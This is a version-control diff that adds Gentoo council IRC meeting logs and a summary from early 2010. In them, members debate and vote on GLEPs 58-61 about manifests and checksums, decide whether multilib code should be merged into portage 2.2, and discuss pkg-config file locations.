+21:55:50 <wired>	solar: ^^ :)
+21:56:48 <_robbat2laptop>	58 - MetaManifest itself, 59 - hash types (SHA512), 60 - filetypes, 61 - compression
+21:57:12 <Calchan>	are we ready to vote on glep 58?
+21:57:52 <solar>	no
+21:58:04 <solar>	I can say. I'm ok with the idea as a whole and would like to see a compressed per cat metamanifests
+21:58:19 <Calchan>	solar, you need more time to discuss or you're voting no?
+21:58:20 <solar>	but these gleps don't allow you to vote on one of them.
+21:58:49 <solar>	and 60 looks like a format change in portage
+21:58:58 <_robbat2laptop>	ok, let's just tackle them in a different order for a sec.
+21:59:06 <_robbat2laptop>	61 is allowing compression in ANY manifest
+21:59:09 <_robbat2laptop>	not just the MetaManifest
+22:00:43 <Calchan>	solar, if you think they're not ready to be approved then vote no, ok?
+22:00:55 <solar>	wait a sec plz.
+22:01:08 <solar>	you guys even know what you are voting on?
+22:01:26 <Betelgeuse>	as much as always :)
+22:01:39 <Calchan>	solar, I have provisions to add to my vote but I'm ready to vote
+22:02:11 <dertobi123>	guess i do, and given the impact i'm against rushing this through today, especially if anyone of us has points he'd like to see adressed before voting
+22:02:21 <Calchan>	tjose provisions are btw that it is optional for the user and not on by default a tthe beginning, and that subdir splitting is mandatory
+22:04:02 <_robbat2laptop>	Calchan, is having the users that don't want it add --exclude MetaManifest* to their sync options acceptable?
+22:04:52 <Calchan>	_robbat2laptop, I wuold prefer the contrary at the beginning, i.e. users having to turn the feature on to use it
+22:04:55 <_robbat2laptop>	Betelgeuse, dertobi123, leio, scarabeus, solar, ulm: could you list what changes you would like?
+22:05:04 <scarabeus>	can we go throught rest of those (1glep in 4) and add all comments under which it can be accepted, and we can proceed with vote next time on all of them at once if anyone is not against?
+22:05:15 <_robbat2laptop>	Calchan, ok, if we roll out an upgrade of portage that includes that?
+22:05:30 <wired>	perhaps we could tackle these gleps one/two at a time?
+22:05:34 <Calchan>	_robbat2laptop, yes ok from me at this condition
+22:05:35 <_robbat2laptop>	ok, so no metamanifest yet, move on to the next glep
+22:05:53 <Calchan>	scarabeus, wired hold on, let's stick to the agenda for the time being
+22:05:54 <_robbat2laptop>	i'll represent GLEP58 with more changes
+22:06:14 <Calchan>	glep 59 is rather orthogonal to the others
+22:06:31 <Betelgeuse>	_robbat2laptop: GLEP 59 seems a bit outdated for python versions but that's just cosmetical
+22:06:39 <Betelgeuse>	_robbat2laptop: Could make it reflect the current situation
+22:06:41 <Calchan>	has everybody read it and does any og you have questions for _robbat2laptop?
+22:06:42 <_robbat2laptop>	58, 59, 60, 61 are all orthangonal
+22:06:45 <solar>	_robbat2laptop: Re; Like. I'd like to simply see the MetaManifests in the per category basis compressed. Not including bloat files that portage already ignores by allowing you to --exclude=metadata.xml and --exclude=ChangeLog ; With no changes to the existing Manifest format
+22:07:03 <--	billie has quit (Remote closed the connection)
+22:07:08 -->	billie (n=billie@gentoo/developer/billie) has joined #gentoo-council
+22:08:07 <Calchan>	_robbat2laptop, I had the following question about 59:
+22:08:29 <Calchan>	Second paragraph of "Checksum depreciation". Is the description still up-to-date about python support of various checksums? How about using external executables when python does not have support for a desirable checksum?
+22:08:45 <solar>	so the first parts can be introduced w/o major bloat or behavior changes in the PM. We review the overhead it causes on the rsync servers and decide from there if it safe to move fwd.
+22:09:48 <_robbat2laptop>	Calchan, yes, py2.5 and newer all support SHA512
+22:10:18 <Calchan>	we're seriously late now, here's what I propose:
+22:10:24 <dertobi123>	solar: i like that suggestion
+22:10:58 <Calchan>	it doesn't look liketoday  we're going to approve any of these gleps except for the informational one we have already approve
+22:11:16 <wired>	solar's suggestion is nice, or we can go the other way around and implement 59/60/61 first, then finish up with 58 when they're done
+22:11:38 <Calchan>	so I suggest that one of us (me if nobody volunteers but I would prefer somebody else) gathers a list of questions/remarks/provisions for robin tio update his gleps fpor next time
+22:11:56 <Calchan>	how's that?
+22:12:00 <_robbat2laptop>	i'll post each glep in the body of a mail to -dev
+22:12:12 <_robbat2laptop>	if you have an item, post a reply there as a new thread
+22:12:35 <Calchan>	does everybody agree postponing the rest of these gleps?
+22:12:47 <_robbat2laptop>	they've been presented for 2 months already, so I don't know why none of you except ulm have come to me with questions/changes
+22:12:59 <scarabeus>	actualy we technicaly can accept the 61, and if we will not accept the Metamanifest itself, that section of sentence can be removed
+22:12:59 <scarabeus>	because that glep apply to the Manifest2 too
+22:13:16 <scarabeus>	_robbat2laptop: i read them on saturday first time ;]
+22:13:27 <Calchan>	scarabeus, let's keep that for when we have a clearer view
+22:13:33 *	solar has been reading them for ~4 years
+22:13:59 <Calchan>	if nobody disagrees right now with postponing I'll move to the next point]
+22:14:39 <Betelgeuse>	_robbat2laptop: Because we need that web app of mine
+22:15:06 <scarabeus>	can we make mandatory that next time we will only vote on them and all concerns will have to be settled up to that meeting (so we dont end up like today?)
+22:15:21 <_robbat2laptop>	any if you don't present your question in the next month
+22:15:24 <ulm>	scarabeus: +1
+22:15:26 <_robbat2laptop>	you hold your tongue
+22:15:29 <Calchan>	scarabeus, eh, let me guess, you're new, right? ;o)
+22:15:41 <solar>	Calchan knew before the meeting that we would not vote on all. But would be doing this in phases
+22:15:42 <scarabeus>	:D
+22:16:08 <Calchan>	solar, I'll pretend I disagree
+22:16:20 <scarabeus>	okey okey :D
+22:16:26 <Calchan>	solar, what I actually told you is that you could vote no if you thought this wasn't ready
+22:16:48 <wired>	metamanifest aside, what are the objections to the other gleps?
+22:17:02 <Calchan>	I wasn't forcing anybofy to vote or even less agree to this, I was just putting this on the agenda as requested by robin
+22:17:12 <Calchan>	on the other hand you guys could have done your homework
+22:17:18 <Calchan>	anyway
+22:17:33 <Calchan>	10. Do we want to merge the code maintained by Tomas Sachau for multiple ABIs into portage 2.2 or should it be kept in a separate repository for now?
+22:17:46 <_robbat2laptop>	i'm going to part here now
+22:17:47 <scarabeus>	there i have question
+22:17:47 <_robbat2laptop>	thanks
+22:17:51 <scarabeus>	how is the git migration
+22:17:59 <_robbat2laptop>	scarabeus, RESO LATER
+22:17:59 <scarabeus>	s/how/where/
+22:18:14 <scarabeus>	i mean migration for portage as the manager :]
+22:18:22 <--	_robbat2laptop (n=robbat2@gentoo/developer/robbat2) has left #gentoo-council ("back to my other meeting")
+22:18:28 <scarabeus>	because if portage is on git, tommy just can have another branch
+22:18:37 <Calchan>	scarabeus, when you have such questions you should ask in advance for them to be put on the agenda
+22:18:59 <Calchan>	scarabeus, and you don't need to be a council member for that, you don't even need to wait for a council meeting
+22:19:21 <Calchan>	let's go back to:
+22:19:25 <Calchan>	10. Do we want to merge the code maintained by Tomas Sachau for multiple ABIs into portage 2.2 or should it be kept in a separate repository for now?
+22:19:25 <dertobi123>	imho that's nothing we'd need to vote on, it's zac's decision whether he wants to maintain the code in portage svn/git or not
+22:19:53 <Calchan>	but zac and thomas have asked for us to decide on that
+22:20:08 <wired>	I think they just want the format decision
+22:20:34 <scarabeus>	well if zac is ok with it, i think portage-2.2 can be experimental for bit longer :]
+22:20:53 <scarabeus>	where "bit" can vary :]
+22:20:54 <Calchan>	note that zac's opinion is to not merge that to portage 2.2 yet, but as the portage repo is being switched to git it will make it easier for him to help thomas maintain it, which ws thomas' main concern
+22:21:14 <Betelgeuse>	go with git and do whatever branch magic wanted
+22:21:17 <scarabeus>	which is what i said above with the question if they migrated to git yet?
+22:21:20 <dertobi123>	Betelgeuse++
+22:21:28 <dertobi123>	besides that, i'd still say it's up to zac
+22:21:42 <Calchan>	scarabeus, there's a bug for that in the agenda if you want to read it
+22:22:11 <scarabeus>	see;read
+22:22:38 <Calchan>	alright, so far we have:
+22:22:56 <Calchan>	no , go with git instead from Betelgeuse
+22:23:10 <Calchan>	and I have the same opinion/vote
+22:23:26 <Calchan>	dertobi123 says it's up to zac and zac says no
+22:23:27 <solar>	same. no portage-maintree. yes on new branch.
+22:23:45 <scarabeus>	branch is 100% fine with me too
+22:23:46 <Calchan>	that's 4 nos with solar's
+22:23:48 <wired>	leave it up to zac
+22:24:04 <solar>	we attempted to. He did not want to think for himself this time
+22:24:06 <Calchan>	alright, we have a decision then, that's no to 10
+22:24:06 <ulm>	no from me to, leave it to zac
+22:24:09 <ulm>	*too
+22:24:16 ---	Calchan gives voice to Tommy[D]
+22:24:20 <Calchan>	hi Tommy[D]
+22:25:03 <Calchan>	afaik the migration of the portage repo to git should happen any day now
+22:25:16 <wired>	a git branch would be nice though
+22:25:26 <Tommy[D]>	most say "no, go with git", but as robbat2 just said, that wont happen for now, so that means "no, no integration in the experimental portage-2.2* branch"
+22:25:56 <Tommy[D]>	and also "no intregration within the next future"
+22:25:56 <Betelgeuse>	Tommy[D]: that was about main tree
+22:25:56 <Calchan>	Tommy[D], the no above was for the migration of the tree to git, not the portage repo
+22:26:15 <solar>	right. That is also a no on portage-2.2
+22:26:39 <Calchan>	Tommy[D], the portage repo *is* being switched to git right now, it got delayed a bit for technical reasons but it's any day now
+22:26:42 <--	romi has quit (Client Quit)
+22:27:31 <solar>	You can branch in svn as well.
+22:27:38 <Betelgeuse>	but it sucks
+22:27:44 <wired>	is it possible to somehow put the whole mutilib code behind a USE flag in 2.2 to get more people to test it?
+22:27:45 <solar>	but it's not enough to hold anybody back
+22:27:47 <Calchan>	Tommy[D], again zac has agreed to help you maintain this, the fact that it's going to be an official branch maintained with zac will make it more visibla and it will get more testing
+22:28:21 <Tommy[D]>	Can those, who vote against integration give me their technical reasons against it, preferable via mail on the #-dev ML thread?
+22:28:22 <scarabeus>	wired: it can be FEATUREised, but the branch is easier
+22:28:26 <Betelgeuse>	Calchan: Well I doubt there's really much people on anything else put main tree releases
+22:28:39 <scarabeus>	wired: specialy with the GIT eclass
+22:29:15 <wired>	scarabeus: yeah but I was hoping for releases not live ebuilds :)
+22:29:31 <Betelgeuse>	Tommy[D]: What do you mean with integration?
+22:30:19 <Tommy[D]>	Betelgeuse: my request was merging into portage-2.2* branch, it was voted against, so i would like to know the reasons for the votes
+22:30:25 <Calchan>	Betelgeuse, Tommy[D], wired, scarabeus: I propose you go on with that discussion during the open floor session in a couple minutes
+22:30:49 <solar>	Tommy[D]: baby steps buddy.
+22:31:01 <Calchan>	let's finish with 11 and you can all resume this discussion
+22:31:07 <Calchan>	11. Conclusion
+22:31:12 <Calchan>	11.1 Action list. Who does what and when?
+22:31:38 <Calchan>	as actions I have gahter a list of questions/changes for robin
+22:31:52 <Calchan>	or lists if we want to do this per glep
+22:31:58 <Calchan>	who wants to do it?
+22:32:00 <Betelgeuse>	I am in Finland only the first Monday of February
+22:32:13 <Betelgeuse>	Otherwise I am in Bryssels or Vancouver
+22:32:16 <Calchan>	Betelgeuse, we'll come to that hold on
+22:32:31 <Betelgeuse>	Calchan: Don't ask both :)
+22:32:47 <Betelgeuse>	Calchan: Any way it excludes me from good agenda work
+22:33:00 <Calchan>	as I said I can volunteer for the questions to robin but I would really prefer somebody more technical takes care of it
+22:33:12 <Calchan>	solar?
+22:33:33 <Calchan>	anybody?
+22:33:36 <Betelgeuse>	solar seemed to have the most to need for changing things so would make sense
+22:33:50 <ulm>	Calchan: I can take it if nobody else volunteers
+22:33:51 <solar>	I can send him my last sentance. I expect he has his reasons for wanting to include metadata.xml/ChangeLog (I just don't understand them)
+22:34:10 <solar>	I don't know what concerns the rest of you had in the same/similar respects
+22:34:13 <Calchan>	ulm, thanks, I'll help you with that if you need
+22:34:37 <Calchan>	ok 11.2 Who takes care of the summary and log for this meeting? When?
+22:34:49 <Calchan>	when have leio and tanderson as volunteer for that
+22:34:59 <Calchan>	so I think we're covered
+22:34:59 <Betelgeuse>	Calchan: leio volunteered so I have no objections
+22:35:04 <ulm>	we still don't have a summary for october 2009 btw
+22:35:22 <Calchan>	ulm, leio said he was working on that in his latest email
+22:35:31 <Calchan>	11.3 Next meeting date/time.
+22:35:41 <Calchan>	I have a problem with the 15th of februiary
+22:35:47 <solar>	8th?
+22:35:51 <Calchan>	but any other days is ok
+22:35:55 <Calchan>	I like the 8th
+22:36:13 <scarabeus>	its right after fossdem right?
+22:36:16 <scarabeus>	looks fine
+22:36:16 <dertobi123>	8th is ok, every other monday in february might not work for me
+22:36:17 <grobian>	yep
+22:36:45 <Calchan>	Betelgeuse?
+22:36:47 <ulm>	8th ok for me too
+22:37:05 <solar>	good. that is better for robins gleps to not make him wait another month
+22:37:26 <Betelgeuse>	Calchan: I would need to remember when I am flying back
+22:37:37 <Betelgeuse>	Calchan: I am guessing I am back before 19UTC
+22:37:45 <Betelgeuse>	Calchan: I will mail if that's not the case
+22:37:54 <Calchan>	Betelgeuse, ok, we can confirm the date on the alias after the meeting
+22:38:07 <Calchan>	11.4 Who will follow-up discussions and prepare the agenda for the next meeting?
+22:38:09 <Betelgeuse>	Calchan: I will mail and ask
+22:38:16 <Betelgeuse>	Calchan: s/mail/phone/
+22:38:23 <Calchan>	as always I volunteer but that shouldn;'tprevent any of you to step up
+22:39:13 <Calchan>	ok, I'll do it then
+22:39:23 <Calchan>	12. Open floor (ad libitum)
+22:39:39 <Betelgeuse>	19:25
+22:39:43 <Calchan>	you can discuss multilib again now, and any other topic
+22:39:47 <Betelgeuse>	19UTC doesn't work
+22:40:02 <Betelgeuse>	I am home 20UTC
+22:40:04 <Calchan>	Betelgeuse, are you availableon the tuesday?
+22:40:10 <Betelgeuse>	yes
+22:40:35 <Calchan>	then I propose tuesday, let's settle that on the alias
+22:40:53 <Calchan>	somebody takes care of the +m while I go have some lunch?
+22:41:03 ---	Betelgeuse sets mode -m #gentoo-council
+22:41:10 <Betelgeuse>	Calchan: /mode -m ?
+22:41:17 <solar>	Tommy[D]: I still have a bunch of questions about the multilib/stuff. I'll be back in 10-15 if you want to chat some more
+22:41:44 <Tommy[D]>	wrt git branch: that wont help with additional testers/users, since they would do the same as now, in addition they would have to use a live version or something like my current multilib branch, so that would be of no big advance
+22:42:07 <grobian>	erhm?
+22:42:24 <grobian>	has always been an advantage to me, tbh
+22:42:44 *	solar was thinking the same. grobian did prefix for years before it got accepted
+22:42:49 <Tommy[D]>	if someone knows about multilib-portage and wants to use it, he can already follow the doc lines from our channel and easily use it
+22:42:50 <Fauli>	Tommy[D]: You raise the visibility a lot inside the official repository.
+22:43:14 <grobian>	and syncing it with trunk is reasonably easy these days
+22:43:22 <Tommy[D]>	all others wont use it now and wont use it, when it is a different branch of portage git tree
+22:43:47 <spatz>	I thought the main priority was getting help from zac in maintaining it, which a git branch can provide
+22:43:51 <Betelgeuse>	Tommy[D]: The item on the agenda was never about main tree use
+22:43:58 <Betelgeuse>	what spatz said
+22:44:06 <Tommy[D]>	Fauli: that is goal, higher visibility will raise the amount of testers/users and possible volunteers
+22:44:06 <wired>	I still feel that a features/use method in 2.2 would really boost multilib testing
+22:44:22 <Fauli>	Betelgeuse: Quick about PMS: You take care of the signing tag?
+22:44:42 <Betelgeuse>	Fauli: I can if needed
+22:44:53 <Betelgeuse>	Fauli: My key is probably best connected any way
+22:44:58 <Tommy[D]>	Betelgeuse: my request was merging into portage-2.2* branch, which is (masked by testing keyword and package.mask) main tree
+22:45:13 <Fauli>	Betelgeuse: I will commit one last patch (xz support move from 4 to 3) and merge a branch for the cheat sheet.
+22:46:08 <Betelgeuse>	Tommy[D]: http://archives.gentoo.org/gentoo-council/msg_4134a24b5a92a4684b8b393fd0013fb7.xml
+22:46:20 <Betelgeuse>	Tommy[D]: Other options not being good enough for you doesn't come clear from that
+22:46:52 <Betelgeuse>	Tommy[D]: It explicitly says there it not being about main tree
+22:47:06 <Tommy[D]>	Betelgeuse: What is unclear about "into portage 2.2"?
+22:47:11 <Betelgeuse>	Tommy[D]: read the whole thing
+22:47:34 <Betelgeuse>	Tommy[D]: You can't make the start magically revert what comes after
+22:48:41 <Betelgeuse>	answering the question there git and branches is in my opinion the best approach
+22:49:11 <Tommy[D]>	Betelgeuse: 10. is written in an unclear way.... on one side, it allows to vote on inclusion in portage-2.2, on the other side, it writes about "no main tree", so what should one use?
+22:49:57 <Fauli>	Tommy[D]: Don't be too hasty, be happy that you can play in the official repo and test it widely.
+22:50:13 <Tommy[D]>	Betelgeuse: and my request explicitly targeted portage-2.2 since it is the experimental branch and hardmasked
+22:50:51 <Tommy[D]>	Fauli: What do you mean by "test it widely"?
+22:51:16 <Fauli>	Tommy[D]: More testers attracted by the "official" status...
+22:51:24 <Betelgeuse>	Tommy[D]: 20:20 <@Calchan> note that zac's opinion is to not merge that to portage 2.2 yet, but as the portage repo is being switched to git it will make it easier for him to  help thomas maintain it, which ws thomas' main concern
+22:51:45 <Betelgeuse>	Tommy[D]: I doubt most council members want to force zac
+22:52:03 <leio>	2.2 really really should get released finally, these rc61's are embarrassing imho, but that apparently involves fixing all cornercase bugs of sets and preserve-libs, more experimental stuff in it doesn't help. However it being restricted behind a certain release candidate EAPI string that can be used in overlays only could be an option
+22:52:03 <Tommy[D]>	Fauli: i am not sure about that point, if one is interested in multilib-portage, he will use it anyway, i dont think the repo will make a big difference
+22:52:15 <Fauli>	Tommy[D]: As solar said, baby steps.
+22:52:44 <leio>	wired: thanks for proxying, hope it is a useful experience
+22:52:50 <wired>	can someone tell me why we're not making this optional for 2.2 users?
+22:52:58 <tanderson>	anything in the official repos automatically has more 'credence' and 'reliability' even if it isn't. And the result is more eyes on the code
+22:52:59 <ohnobinki>	tommy[d]: but you'll still get more publicity if it's in the ``official'' portage repository at all
+22:53:33 <Betelgeuse>	more but if it will make a difference is not certain
+22:53:42 <wired>	leio: no problem, it was really interesting :)
+22:53:45 <Tommy[D]>	Betelgeuse: i asked him about main tree integration and he said, he would principally ok with it, but requested a council ok before, that was the main reason for my request
+22:54:07 <spatz>	btw, why is portage->git RESO LATER? :(
+22:54:14 <Betelgeuse>	Tommy[D]: Then there's probably a communication break between zac and Calchan
+22:54:19 <Betelgeuse>	Tommy[D]: Or different times of asking
+22:54:44 <Tommy[D]>	Betelgeuse: different times and different questions
+22:54:46 <grobian>	Tommy[D]: IMO your multilib thing is a same sort of boat like Prefix, if you want it in portage mainline, Zac will only do it if the council has said yes
+22:55:01 <grobian>	Tommy[D]: and the council only says yes if you do all the specing stuff
+22:56:21 <Tommy[D]>	grobian: i have also seen a request for a "team" or similar as backup, which currently does not happen and wont happen without being in (even hardmasked 2.2 version of ) portage
+22:56:22 <Betelgeuse>	Any way I want to leave the office finally as it's 11PM
+22:56:46 <Betelgeuse>	So bye everyone
+22:57:02 <Betelgeuse>	Tommy[D]: Too bad it didn't work out as you wanted but at least it should be moving forward
+22:57:05 <grobian>	Tommy[D]: did that someone also define the minimum amount of members for a team?
+22:57:26 <grobian>	Tommy[D]: Prefix has been a one-man-show for most of its live
+22:58:38 <Tommy[D]>	grobian: i think, that was Calchan and he wanted a team like amd64 arch team as backup, so it wont be a one-man-show with the bus factor
+22:59:23 <grobian>	Tommy[D]: I just wanted to help you, but anyway, you can make it as black as you prefer
+22:59:53 <wired>	leio: I didn't get to say much but I tried to help wherever i could and I think I gained some knowledge of how you do things :)
+23:00:12 <Tommy[D]>	grobian: he did not define the number, no
+23:03:01 <Tommy[D]>	grobian: let me quote Calchan from his mail: http://dpaste.com/147117/
+23:03:12 <grobian>	Tommy[D]: I read that\
+23:04:06 <grobian>	you can easily claim support is no problem given the support that you claim to have by many devs and users wanting it
+23:05:30 <Tommy[D]>	grobian: the problem is this: this is moral support or something like "would like to use it", but not much in the direction of helping with the code or maintainence or similar :-/
+23:06:00 <grobian>	Tommy[D]: I see so many parallels...
+23:06:30 <grobian>	Maybe if I'm brave, I'd say that 4-5 years ago I also felt like prefix should be integrated in mainline portage "right now"
+23:06:52 <grobian>	I'm a bit of a slow person
+23:07:13 <grobian>	so you'd probably do it faster, but you need some time to get your idea to cristalise
+23:07:31 <Tommy[D]>	i think, it might take months, if not years, until all is done, when it continues the current way because of my limited time and python knowledge
+23:07:33 <grobian>	there are many questions, and many critics
+23:07:41 <solar>	grobian seems of gained some wisdom over the years.
+23:07:46 <grobian>	lol
+23:10:00 <Tommy[D]>	currently i only remember a suggested improvement from vapier, which i currently work on (first default ABI, then others, if needed instead of all ABIs in every phase) and comments on flag naming (i have no problem changing that scheme, once the code works)
+23:10:45 <solar>	I still don't understand how pkgconfig can properly give you results back
+23:11:28 <ohnobinki>	pkgconfig installs its files into into /usr/$(get_libdir)/pkgconfig which automatically picks up ABI differences...
+23:12:06 <solar>	not always.. cd /usr/share/pkgconfig ; grep lib *
+23:12:26 <Tommy[D]>	solar: there is a .pc file for every ABI, which only contains the details for that ABI
+23:12:47 <solar>	and how does pkg-config know which one to call ?
+23:12:59 <ohnobinki>	solar: those packages would have bugs filed against them
+23:13:36 <ohnobinki>	http://pkg-config.freedesktop.org/wiki/CrossCompileProposal
+23:14:08 <Tommy[D]>	the dir, where pkg-config searches is set depending on the current ABI (so it searches in /usr/lib32 for 32bit ones and /usr/lib64 for 64bit ones)
+23:15:01 <leio>	ohnobinki: those that install to /usr/share/pkgconfig? I will INVALID all of em ;p
+23:15:35 <ohnobinki>	leio: for the ones deserving attention, I'll swim upstream then :-p
+23:15:50 <leio>	ohnobinki: They will INVALID it too, read the manuals :)
+23:16:02 <leio>	ABI independent .pc files go to /usr/share/pkgconfig
+23:16:29 <ohnobinki>	leio: solar pointed out a few ABI-dependent ones in /usr/share/pkgconfig, those are the ones I'm referring to
+23:16:29 <leio>	so those packages simply shouldn't be installed twice, they are ABI independent packages.
+23:16:38 <solar>	leio: and we are saying there is ABI dependent files in /usr/share/pkg..
+23:16:44 <leio>	ok, got a list?
+23:16:46 <ohnobinki>	although I can't find any on my system...
+23:17:08 <solar>	gnome-mime-data-2.0.pc:libdir=/usr/lib64
+23:17:22 <Tommy[D]>	i have udev.pc and xtrans.pc in /usr/share/pkgconfig
+23:17:24 <leio>	gnome-mime-data is ABI independent
+23:17:31 <ohnobinki>	solar: that one's not ABI-dependent
+23:17:51 <leio>	udev is ABI independent (libudev.pc isn't(
+23:17:55 <solar>	then it should not define any libdir should it?
+23:18:21 <leio>	xtrans is ABI independent (C code and aclocal file)
+23:18:56 <--	grobian has quit ("Zzzzz")
+23:18:58 <leio>	you will have an issue with udev as the same portage package installs both /usr/share/pkgconfig/udev.pc and /usr/share/${libdir}/pkgconfig/libudev.pc
+23:19:09 <leio>	scratch a "share" from the latter
+23:19:31 <ohnobinki>	I don't see the issue there ;-)
+23:19:36 <leio>	So I presume the meeting is over and I can commit a raw log the next time I'm waiting on something workwise? :)
+23:19:58 <Tommy[D]>	so the issue in this case is not my concept, but instead what some packages install and should not install
+23:20:02 <leio>	the issue is if you want to install it for both 64bit and 32bit from a monolith package or something
+23:20:17 <solar>	this is going to be a nightmare to cross-compile. probably be limited to non multilib cross-compiles in the future
+23:21:02 <leio>	Tommy[D]: I don't know, I don't think I have a multilib specification or PMS patch to read
+23:22:17 <Tommy[D]>	leio: i currently answer question and have my code, i prefer to improve the code, when i have the time over writing specs
+23:23:19 <Tommy[D]>	leio: did you read my #-dev ML discussion with vapier, where i wrote about the basic implementation?
+23:24:42 <leio>	Not yet
+23:27:11 <leio>	is that write-up something that be converted into an initial spec sort of thing so you don't need to write it up all the time or find all the snippets that explain it when a new thread comes up and the previous one is already forgotten? :)
+23:29:30 <Tommy[D]>	i use a different workdir for every ABI and preserve a specified set of vars, with that, i do loop in every src* phase over all ABIs with the default one as last one
+23:29:58 <Tommy[D]>	during src_install i have an additional function, which does additional steps (like preserving headers, which differ per ABI or preserve requested binaries and generating a wrapper-symlink for them)
+23:30:05 <--	darkside_ (n=darkside@gentoo/developer/darkside) has left #gentoo-council
+23:33:16 <Tommy[D]>	leio: this was the mail: http://archives.gentoo.org/gentoo-dev/msg_9b89064c248dd2639501a3a8140b7474.xml
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100208-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20100208-summary.txt
new file mode 100644
index 00000000..9f0991dd
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100208-summary.txt
@@ -0,0 +1,32 @@
+Summary of the meeting of February 8th, 2010
+
+Attendance
+==========
+Present:
+ Betelgeuse
+ Calchan
+ leio
+ scarabeus
+ solar
+ ulm
+Missing:
+ dertobi123
+
+Agenda
+======
+Vote on GLEPs 58 to 61
+Open discussion on VDB
+
+GLEPs 58 to 61
+==============
+GLEPs 58, 59 and 60 were approved unanimously by all present members. GLEP 61
+was approved with four votes for it, one against and one abstention.
+
+VDB discussion
+==============
+The council believes that specifying a unified VDB cache could prevent package
+managers from innovating. The council also considers that the use of e.g. a
+timestamp to facilitate working (or experimenting) with different VDB caches
+is a nice thing, but prefers leaving the decision whether to implement such a
+feature to the developers of the package managers.
+
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100208.txt b/xml/htdocs/proj/en/council/meeting-logs/20100208.txt
new file mode 100644
index 00000000..0e22b8b7
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100208.txt
@@ -0,0 +1,285 @@
+22:00:44 <Calchan>	alright, woodpecker's clock says it's time
+22:00:51 <Calchan>	do we have everybody?
+22:01:01 <Calchan>	Betelgeuse will be late and is excused
+22:01:02 <scarabeus>	yep
+22:01:18 *	ulm is here
+22:01:26 <leio>	here
+22:01:28 <Calchan>	we had leio and solar just a few minutes ago
+22:01:37 -->	FuzzyRay (~pvarner@gentoo/developer/FuzzyRay) has joined #gentoo-council
+22:02:06 <Calchan>	can somebody please set +m whil I take care of some of the logistics?
+22:02:12 ---	leio sets mode +m #gentoo-council
+22:02:54 <Calchan>	oh, I'm just seeing tobias may not be with us today
+22:03:17 <solar>	he voted already in case he can't make it. i take that as being present (not a slacker)
+22:03:25 <Betelgeuse>	here
+22:03:37 <Betelgeuse>	got intoo the car
+22:03:43 <Calchan>	Betelgeuse, wow, I hope you didn't lose your driver's license ;o)
+22:03:50 <scarabeus>	:]
+22:03:51 <Betelgeuse>	let's see how long the battery lasts
+22:03:57 <Betelgeuse>	I am not driving :)
+22:04:23 <Calchan>	ok
+22:04:25 <Betelgeuse>	3G sucks phone battery like hell
+22:04:31 <Betelgeuse>	and it's already low
+22:04:42 <Calchan>	so we have everybodu except for tobias who will be excused
+22:04:54 <Calchan>	who wants to chair?
+22:04:57 <Betelgeuse>	no
+22:05:11 <leio>	I don't think we have any excusing concept per our current rules, unfortunately
+22:05:48 <Calchan>	leio, we don't, youre right
+22:06:09 <scarabeus>	we might create some, because he at least cared about voting, (so he is not slacking)
+22:06:23 <leio>	we have voted to not being able to change GLEP39 on our own
+22:06:32 <Betelgeuse>	not do that now
+22:06:53 <Betelgeuse>	get into the aganda please
+22:06:59 <leio>	yes please
+22:07:01 <Calchan>	before we go to deep in discussions ...
+22:07:03 <Calchan>	who wants to chair?
+22:07:07 <Calchan>	as usual I volunteer to chair if nobody doesn't, but don't let that stop you
+22:07:11 <Betelgeuse>	so much on plate
+22:07:28 <Betelgeuse>	Calchan: with lack of vlunteers feel free
+22:07:32 <Betelgeuse>	I would if I had a connection
+22:07:37 <solar>	Calchan: just go. Betelgeuse is on limited phone battery.
+22:07:42 <Calchan>	alright then
+22:07:51 <Calchan>	any remarks regarding the agenda?
+22:08:01 -->	Zorry (~zorry@fu/coder/zorry) has joined #gentoo-council
+22:08:26 <Calchan>	ok, let's switch to the first topic then
+22:08:36 <Calchan>	glep 58
+22:09:00 <leio>	(as for 1.1, I'm logging and will be committing the raw log post-meeting before sleep)
+22:09:01 <Calchan>	I hope you have all read the agenda items and the material that was linked in there in order to make that a quick vote if possible
+22:09:16 <Calchan>	leio, thanks, I forgot abou tthat
+22:09:25 <scarabeus>	i did read them
+22:09:27 <Betelgeuse>	I always log
+22:09:49 <Calchan>	so, does anybdoy have any comment regarding glep 58?
+22:09:54 <Calchan>	if not we'll proceed to vote
+22:09:55 <Betelgeuse>	I read allthe GLEPS during gregkh's talk
+22:10:08 <Betelgeuse>	after which robbat2 committed some stuff
+22:10:30 <leio>	can we change any grammatical things after acceptance or not? :)
+22:10:32 <solar>	Calchan: only thing is that the timestamps seem to differ. You list 6-12 months while robin noted 18months .
+22:10:33 <ulm>	Calchan: shouldn't we vote on 60 first?
+22:10:42 <ulm>	it's a prerequisite of 58
+22:11:49 <Calchan>	ulm good point
+22:12:03 <Calchan>	so what's the general feeling, do you guys want to vote on 60 forst?
+22:12:31 <Betelgeuse>	fine b me
+22:12:34 <Calchan>	now that ulm says it, it seems logical to me although I don't mind too much
+22:12:50 <Calchan>	let's discuss/vote 60 first then
+22:12:55 <leio>	yes, we can do 60 first as a prerequisite. As for comments about 60 I can't phantom a case where AUX would really have to be duplicated with a new type of entry
+22:13:16 <leio>	as I don't see any of the new ones covering package directories
+22:13:27 <leio>	any files in package directories*
+22:14:03 <ulm>	leio: OTHER covers them
+22:14:28 <ulm>	if they aren't in EXEC anyway
+22:14:35 <leio>	"Choosing a file", point 5 suggests otherwise?
+22:14:39 <Betelgeuse>	Were'n't comments supposed to be before the meeting
+22:14:48 <Betelgeuse>	so that we an just vote today
+22:15:00 <scarabeus>	yeah just voting was supposed
+22:15:09 <Betelgeuse>	so let's do that
+22:15:29 <Calchan>	Betelgeuse is right, leio and ulm if you consider the above to be a blocker then just vote no please, ok?
+22:15:35 <Calchan>	and I vote yes
+22:15:48 <ulm>	I vote yes for glep 60
+22:15:50 <Betelgeuse>	yes
+22:15:53 <scarabeus>	yes
+22:16:18 <solar>	I vote yes on all of them
+22:16:26 <Calchan>	leio?
+22:16:42 <Betelgeuse>	Calchan: Might be easier to ask if someone objects to any of them
+22:16:44 <Betelgeuse>	I don't
+22:16:51 <leio>	I see what is meant there, but it should be more clearly written
+22:16:52 <leio>	I vote yes
+22:16:59 <Betelgeuse>	Then we can use time more efficiently
+22:17:18 <Calchan>	Betelgeuse, technically we have to vote o each of then individually, and it can be done quickly so let's do it
